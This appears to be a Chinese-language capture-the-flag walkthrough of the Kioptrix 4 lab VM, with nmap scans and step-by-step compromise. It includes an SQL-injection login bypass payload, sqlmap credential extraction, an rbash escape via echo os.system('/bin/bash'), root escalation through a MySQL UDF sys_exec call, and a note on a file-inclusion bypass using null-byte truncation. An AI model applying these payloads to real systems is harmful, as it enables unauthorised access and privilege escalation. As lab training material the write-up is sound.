https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar
由于这个靶机下载下来之后是一个vmdx的文件,所以要经过处理,直接创建一个新的虚拟机:
选择其他;后面的一律“下一步”即可!
最后将硬盘移除!
使用现有的硬盘,加载下载下来的硬盘即可!内存也需要重新分配一下,之后打开即可:最终配置如下:
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:43:7c:b1, IPv4: 192.168.1.60
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 00:50:56:c0:00:08 VMware, Inc.
192.168.1.2 00:50:56:fe:b1:6f VMware, Inc.
192.168.1.76 00:0c:29:85:3d:2d VMware, Inc.
192.168.1.254 00:50:56:f0:ab:00 VMware, Inc.
探测存活主机信息,发现目标的靶机地址为192.168.1.76
# nmap -sT --min-rate 10000 -p- 192.168.1.76
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-26 14:09 CST
Nmap scan report for 192.168.1.76
Host is up (0.0034s latency).
Not shown: 39528 closed tcp ports (conn-refused), 26003 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:85:3D:2D (VMware)
开放的端口信息为22 ssh 80端口是http 同时开启了139 445端口
# nmap -sT -sC -sV -O -p80,22,139,445 192.168.1.76 -oN details.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-26 14:10 CST
Nmap scan report for 192.168.1.76
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open �º`�U Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:85:3D:2D (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: , NetBIOS MAC: (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2023-12-26T09:10:41-05:00
|_clock-skew: mean: 10h30m01s, deviation: 3h32m08s, median: 8h00m00s
服务的详细信息探测结果:
# nmap -sT --script=vuln -p80,22,139,445 192.168.1.76 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-26 14:10 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.76
Host is up (0.00027s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.76
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.76:80/
| Form id: myusername
| Form action: checklogin.php
|
| Path: http://192.168.1.76:80/checklogin.php
| Form id:
| Form action: index.php
|
| Path: http://192.168.1.76:80/index.php
| Form id: myusername
|_ Form action: checklogin.php
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
| /database.sql: Possible database backup
| /icons/: Potentially interesting folder w/ directory listing
| /images/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_ /index/: Potentially interesting folder
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:85:3D:2D (VMware)
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 344.98 seconds
存在TRACE方法!然后就是存在一个数据库的文件~ 没有其他的暴露出来的信息了,看来突破点可能是在80端口上,先尝试在80端口上寻找突破,没什么思路的话,再看samba~
尝试访问80端口上运行的服务:
有一个登陆注册的页面,这里可以尝试sql注入等相关的信息,同时,如果经过抓包,是明文或者密码是可以解密的话,那么我们就可以进行爆破!先看看源码中是否有相关提示:
没什么提示,当我们输入账号和密码的时候,会提交给checklogin.php进行处理! 其他的没什么信息~先等等进行sql注入等测试,由于上面在信息收集的时候,发现了数据库文件,尝试访问下载下来观察下,并在进行一下目录的扫描:
这个database.sql文件中发现了 数据库中存在表“members” 同时还有一个用户是john 密码是1234 那么我们就不需要去爆破了,直接尝试拿着这个用户去登陆即可!
这里还去做了下目录的扫描。没什么新的发现,接下来就是去登录了。
尝试了database.sql里面的用户名john和密码1234,发现登陆失败了~ 那就看看有没有sql注入吧:
发现mypassword字段可能存在sql注入!尝试使用万能密码进行登录!
这里就直接抓包,然后修改mypassword字段的值为1'+or+'1'='1 用户名就是john~
登陆成功了~
登陆进来什么都没有,由于url变成了username=john,所以尝试修改username=admin等其他用户,观察是否存在水平或者垂直越权漏洞;发现并没有:
既然存在sql注入,这里我就尝试直接上sqlmap去跑:
sqlmap跑出来另一个用户和密码信息,这个密码信息看起来很像是base64;
这个密码就是这样的,其实不是base64;
尝试进行登录:
登陆成功上来还是这个用户控制面板信息,什么功能都没有,这怎么办? ssh碰撞?先把两个账号和密码信息记录在这里:
john MyNameIsJohn
robert ADGAdsafdfwt4gadfga==
进行碰撞ssh:
第一个用户,就直接登陆成功了~
当前的bash,应该是rbash,受限制的bash环境~ 咱们先退出,尝试另一个,如果还是rbash那就需要去绕过rbash:
还是看不到什么东西~ 这里我不清楚是不是rbash;以前的时候看到过一个靶场类似于这种情况,先看看能不能绕过!
尝试执行了几个命令,发现这就是rbash;ls echo cd 都是可以利用的 但是 / 不能利用;开始进行Linux环境信息的枚举;
ls
cd
echo
>
>>
<
|
执行sudo,会断开连接~
不能用的东西有点点多啊~ 突然看到了我们刚使用ssh登陆进来的时候,可以使用? 或者help来查看使用的相关命令:
发现了8个命令:
cd clear echo exit help ll lpath ls
那估计就是使用这上面的命令来绕过rbash!
由于我们是通过ssh进行登陆的,登陆进来便是rbash环境了,所以这里尝试ssh绕过rbash,但是失败了:
尝试了很多种方式,都没有绕过,最终的绕过语句为:
echo os.system('/bin/bash')
#刚开始尝试了 echo `ls` echo $(ls) 都无法执行
进入网站的目录,发现网站的目录下面,存在两个用户的目录,进入到了john目录下面,发现了mysql的数据库账号和密码等相关信息:
尝试进入mysql,在这之前看了一下/etc/passwd:
发现我们刚才的shell被称作是kshell;
在数据库中发现“secure_file_priv”的值为空!可能存在UDF提权~
通常情况下是mysqld_safe是以root执行的,但是mysqld是以mysql用户执行的,但是这里可以看到二者都是以root权限执行的,所以可以尝试进行UDF提权!
存在func表;这块已经存在UDF库,不需要再进行导入了,直接进行利用:
利用sys_exec将当前用户追加到admin组中:
select sys_exec('usermod -a -G admin john');
退出之后,查看当前用户所具有的权限:
至此提权成功~ root下面还有一个最终的flag文件!
整个靶机在练习的过程中,出现了两个问题:
靶机还存在文件包含漏洞,这是在看了wp之后,才发现的,具体漏洞位置出现在member.php:
变量page通过GET方式传递的username来得到;利用preg_replace()函数将变量page中的/etc/替换为空,但是只是替换了一次,所以这里可以尝试双写绕过;同时后面还通过“.”来拼接了.php
由于php版本为5.2.4,当php版本小于5.3的时候,便可利用%00来截断,从而绕过了后面拼接的php,最终file_exists()函数判断变量page存在,便会包含这个文件;